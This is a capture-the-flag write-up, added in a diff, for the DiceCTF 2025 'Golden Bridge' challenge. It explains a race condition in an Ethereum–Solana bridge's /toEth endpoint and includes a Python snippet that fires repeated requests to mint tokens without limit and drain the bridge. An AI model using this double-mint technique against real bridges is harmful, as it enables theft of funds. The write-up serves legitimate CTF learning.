|
| 1 | +# DiceCTF 2025 Quals - Golden Bridge |
| 2 | + |
| 3 | +## Overview |
| 4 | + |
| 5 | +An Ethereum <> Solana bridge with the following UI is provided: |
| 6 | + |
| 7 | + |
| 8 | + |
| 9 | +A rough architecture overview: |
| 10 | +- Geth as the Ethereum node |
| 11 | +- Solana Test Validator as the Solana node |
| 12 | +- Web application built with Flask |
| 13 | +- Solidity contracts |
| 14 | + |
| 15 | +There are four Solidity contracts with the following roles: |
| 16 | +- `Feather`: A basic ERC20 token |
| 17 | +- `Bubble`: A wrapped version of Feather |
| 18 | +- `Bridge`: Manages token balances on the Ethereum side |
| 19 | +- `Setup`: Deploys and manages the above contracts, and includes the `isSolved()` function |
| 20 | + |
| 21 | +The goal is to make `isSolved()` return `true`. If this is achieved, the web application reveals the flag: |
| 22 | + |
| 23 | +```python |
| 24 | +@app.get("/flag") |
| 25 | +def flag(): |
| 26 | + try: |
| 27 | + if eth_Setup.functions.isSolved().call(): |
| 28 | + return os.environ.get("FLAG", "dice{test_flag}") |
| 29 | + return "no flag for u >:D", 403 |
| 30 | + except Exception: |
| 31 | + return "no flag for u >:D", 403 |
| 32 | +``` |
| 33 | + |
| 34 | +The `Setup` contract executes the following constructor, which sends 1 billion `Bubble` tokens to the `Bridge` contract: |
| 35 | + |
| 36 | +```solidity |
| 37 | +contract Setup { |
| 38 | + Feather public immutable feather; |
| 39 | + Bubble public immutable bubble; |
| 40 | + Bridge public immutable bridge; |
| 41 | + bool private airdropped; |
| 42 | +
|
| 43 | + constructor() { |
| 44 | + airdropped = false; |
| 45 | + uint256 liquidity = 1_000_000_000; |
| 46 | + feather = new Feather(); |
| 47 | + feather.mint(address(this), liquidity); |
| 48 | + bubble = new Bubble(feather); |
| 49 | + feather.approve(address(bubble), liquidity); |
| 50 | + bubble.wrap(liquidity); |
| 51 | + bridge = new Bridge(bubble); |
| 52 | + bubble.transfer(address(bridge), liquidity); |
| 53 | + bridge.changeOwner(msg.sender); |
| 54 | + } |
| 55 | +
|
| 56 | + (snip) |
| 57 | +``` |
| 58 | + |
| 59 | +When the `Bubble` token balance in the `Bridge` contract becomes `0`, `isSolved()` returns `true`: |
| 60 | + |
| 61 | +```solidity |
| 62 | + function isSolved() external view returns (bool) { |
| 63 | + return bubble.balanceOf(address(bridge)) == 0; |
| 64 | + } |
| 65 | +``` |
| 66 | + |
| 67 | +Additionally, the `Setup` contract provides an `airdrop()` function that grants `10 Feather` to the player: |
| 68 | + |
| 69 | +```solidity |
| 70 | + function airdrop() external { |
| 71 | + if (airdropped) revert("no more airdrops :("); |
| 72 | + feather.mint(msg.sender, 10); |
| 73 | + airdropped = true; |
| 74 | + } |
| 75 | +``` |
| 76 | + |
| 77 | +## Solution |
| 78 | + |
| 79 | +I first reviewed the `Bridge` contract and did not notice any interesting issues: |
| 80 | + |
| 81 | +```solidity |
| 82 | +contract Bridge { |
| 83 | + address public owner; |
| 84 | + Bubble public immutable bubble; |
| 85 | + mapping(address => uint256) public accounts; |
| 86 | +
|
| 87 | + constructor(Bubble bubble_) { |
| 88 | + owner = msg.sender; |
| 89 | + bubble = bubble_; |
| 90 | + } |
| 91 | +
|
| 92 | + modifier onlyOwner() { |
| 93 | + require(msg.sender == owner, "not owner"); |
| 94 | + _; |
| 95 | + } |
| 96 | +
|
| 97 | + function changeOwner(address newOwner) external onlyOwner { |
| 98 | + owner = newOwner; |
| 99 | + } |
| 100 | +
|
| 101 | + function deposit(uint256 amount) external { |
| 102 | + bubble.transferFrom(msg.sender, address(this), amount); |
| 103 | + accounts[msg.sender] += amount; |
| 104 | + } |
| 105 | +
|
| 106 | + function withdraw(uint256 amount) external { |
| 107 | + require(accounts[msg.sender] >= amount, "Insufficient BBL in Bridge"); |
| 108 | + accounts[msg.sender] -= amount; |
| 109 | + bubble.transfer(msg.sender, amount); |
| 110 | + } |
| 111 | +
|
| 112 | + function fromBridge(address recipient, uint256 amount) external onlyOwner { |
| 113 | + accounts[recipient] += amount; |
| 114 | + } |
| 115 | +
|
| 116 | + function toBridge(address recipient, uint256 amount) external onlyOwner { |
| 117 | + require(accounts[recipient] >= amount, "Insufficient BBL in Bridge"); |
| 118 | + accounts[recipient] -= amount; |
| 119 | + } |
| 120 | +} |
| 121 | +``` |
| 122 | + |
| 123 | +Then, I checked the off-chain part and suspected a potential race-condition-like behavior in the `toEth` function in the web application: |
| 124 | + |
| 125 | +```python |
| 126 | +# transfer and burn $BBL on the Solana side, then |
| 127 | +# credit $BBL into the Bridge on the Ethereum side |
| 128 | +@app.post("/toEth") |
| 129 | +def toEth(): |
| 130 | + try: |
| 131 | + key = request.json["key"] |
| 132 | + if not isinstance(key, str): |
| 133 | + return "Invalid key", 400 |
| 134 | + amount = request.json["amount"] |
| 135 | + if not (isinstance(amount, int) and amount > 0): |
| 136 | + return "Invalid amount", 400 |
| 137 | + target = request.json["target"] |
| 138 | + if not (isinstance(target, str) and target.startswith("0x")): |
| 139 | + return "Invalid target", 400 |
| 140 | + |
| 141 | + src = Keypair.from_json(key) |
| 142 | + src_ata = spl_token.get_associated_token_address(src.pubkey(), sol_bbl.pubkey(), TOKEN_PROGRAM_ID) |
| 143 | + if solana.get_account_info(src_ata).value is None: |
| 144 | + return "Solana account does not have an associated token account for $BBL", 400 |
| 145 | + |
| 146 | + # bruh SPLToken doesn't let us compose two instructions |
| 147 | + recent_blockhash = solana.get_latest_blockhash().value.blockhash |
| 148 | + ixs = [ |
| 149 | + spl_token.transfer( |
| 150 | + spl_token.TransferParams( |
| 151 | + program_id=TOKEN_PROGRAM_ID, |
| 152 | + source=src_ata, |
| 153 | + dest=sol_bridge_ata, |
| 154 | + owner=src.pubkey(), |
| 155 | + amount=amount, |
| 156 | + signers=[src.pubkey()], |
| 157 | + ) |
| 158 | + ), |
| 159 | + spl_token.burn( |
| 160 | + spl_token.BurnParams( |
| 161 | + program_id=TOKEN_PROGRAM_ID, |
| 162 | + account=sol_bridge_ata, |
| 163 | + mint=sol_bbl.pubkey(), |
| 164 | + owner=sol_bridge.pubkey(), |
| 165 | + amount=amount, |
| 166 | + signers=[sol_bridge.pubkey()], |
| 167 | + ) |
| 168 | + ) |
| 169 | + ] |
| 170 | + solana.send_transaction( |
| 171 | + SolanaTransaction( |
| 172 | + [sol_bridge, src], |
| 173 | + SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash), |
| 174 | + recent_blockhash |
| 175 | + ) |
| 176 | + ) |
| 177 | + |
| 178 | + eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer) |
| 179 | + return f"Successfully transferred your $BBL!", 200 |
| 180 | + except Exception as e: |
| 181 | + app.logger.error(traceback.format_exc()) |
| 182 | + return str(e), 400 |
| 183 | +``` |
| 184 | + |
| 185 | +This function bridges tokens from Solana to Ethereum by burning tokens on the Solana side and minting them on the Ethereum side: |
| 186 | + |
| 187 | +```python |
| 188 | + solana.send_transaction( |
| 189 | + SolanaTransaction( |
| 190 | + [sol_bridge, src], |
| 191 | + SolanaMessage.new_with_blockhash(ixs, src.pubkey(), recent_blockhash), |
| 192 | + recent_blockhash |
| 193 | + ) |
| 194 | + ) |
| 195 | + |
| 196 | + eth_transact(eth_Bridge.functions.fromBridge(target, amount), eth_deployer) |
| 197 | +``` |
| 198 | + |
| 199 | +The `eth_transact` function itself is straightforward and seems safe: |
| 200 | + |
| 201 | +```python |
| 202 | +def eth_transact(fun: ContractFunction, signer: EthAccount): |
| 203 | + tx = fun.build_transaction({ |
| 204 | + "from": signer.address, |
| 205 | + "nonce": w3.eth.get_transaction_count(signer.address), |
| 206 | + }) |
| 207 | + tx_signed = signer.sign_transaction(tx) |
| 208 | + w3.eth.send_raw_transaction(tx_signed.raw_transaction) |
| 209 | +``` |
| 210 | + |
| 211 | +Also, if the Solana account lacks sufficient tokens, the transaction fails as follows: |
| 212 | + |
| 213 | +``` |
| 214 | +Traceback (most recent call last): |
| 215 | + File "/bridge/app.py", line 147, in toEth |
| 216 | + res = solana.send_transaction( |
| 217 | + SolanaTransaction( |
| 218 | + ...<3 lines>... |
| 219 | + ) |
| 220 | + ) |
| 221 | + File "/usr/local/lib/python3.13/site-packages/solana/rpc/api.py", line 1004, in send_transaction |
| 222 | + return self.send_raw_transaction(bytes(txn), opts=tx_opts) |
| 223 | + ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| 224 | + File "/usr/local/lib/python3.13/site-packages/solana/rpc/api.py", line 972, in send_raw_transaction |
| 225 | + resp = self._provider.make_request(body, SendTransactionResp) |
| 226 | + File "/usr/local/lib/python3.13/site-packages/solana/exceptions.py", line 45, in argument_decorator |
| 227 | + return func(*args, **kwargs) |
| 228 | + File "/usr/local/lib/python3.13/site-packages/solana/rpc/providers/http.py", line 62, in make_request |
| 229 | + return _parse_raw(raw, parser=parser) |
| 230 | + File "/usr/local/lib/python3.13/site-packages/solana/rpc/providers/core.py", line 98, in _parse_raw |
| 231 | + raise RPCException(parsed) |
| 232 | +solana.rpc.core.RPCException: SendTransactionPreflightFailureMessage { message: "Transaction simulation failed: Error processing Instruction 0: custom program error: 0x1", data: RpcSimulateTransactionResult(RpcSimulateTransactionResult { err: Some(InstructionError(0, Custom(1))), logs: Some(["Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA invoke [1]", "Program log: Instruction: Transfer", "Program log: Error: insufficient funds", "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA consumed 4381 of 400000 compute units", "Program TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA failed: custom program error: 0x1"]), accounts: None, units_consumed: Some(4381), return_data: None, inner_instructions: None, replacement_blockhash: None }) } |
| 233 | +``` |
| 234 | + |
| 235 | +However, this validation is insufficient and vulnerable. If the function is called twice rapidly, the last call may use outdated state, bypassing the intended checks. |
| 236 | +As a result, it becomes possible to mint more tokens on Ethereum than actually burned on Solana. For example: |
| 237 | +- A player holding `1 Bubble` calls `toEth` twice nearly simultaneously with `amount = 1`. |
| 238 | +- Due to outdated state in the `send_transaction` call, the `insufficient funds error` does not occur. |
| 239 | +- Consequently, the Ethereum-side minting happens twice, resulting in `2 Bubble`. |
| 240 | + |
| 241 | +By exploiting this vulnerability, tokens can be doubled repeatedly, effectively allowing for **infinite minting**. Using this method, I multiplied the tokens tenfold at each step: |
| 242 | + |
| 243 | +```python |
| 244 | +# toSol |
| 245 | +payload = { |
| 246 | + "key": info["ethereum"]["private_key"], |
| 247 | + "amount": balance, |
| 248 | + "target": info["solana"]["pubkey"], |
| 249 | +} |
| 250 | +headers = {"Content-Type": "application/json"} |
| 251 | +httpx.post(f"{INSTANCE_URL}/toSol", json=payload, headers=headers) |
| 252 | + |
| 253 | +time.sleep(20) |
| 254 | + |
| 255 | +# toEth |
| 256 | +for j in tqdm(range(10)): |
| 257 | + payload = { |
| 258 | + "key": str(info["solana"]["keypair"]), |
| 259 | + "amount": balance, |
| 260 | + "target": info["ethereum"]["address"], |
| 261 | + } |
| 262 | + headers = {"Content-Type": "application/json"} |
| 263 | + httpx.post(f"{INSTANCE_URL}/toEth", json=payload, headers=headers) |
| 264 | +``` |
| 265 | + |
| 266 | +With the infinitely minted tokens, it becomes possible to drain all `Bubble` tokens from the `Bridge`. The final solver was divided into several components: |
| 267 | +- [solve.fish](./solve.fish): The overall solver script |
| 268 | +- [Exploit.s.sol](./Exploit.s.sol): Handles smart contract interactions |
| 269 | +- [race.py](./race.py): Triggers the race-condition-like bug and performs infinite minting |
| 270 | + |
| 271 | +Flag: `dice{https://www.youtube.com/watch?v=iRJB6DotUsU&si=dicectf2025_cAdPaVDd8mI}` |
0 commit comments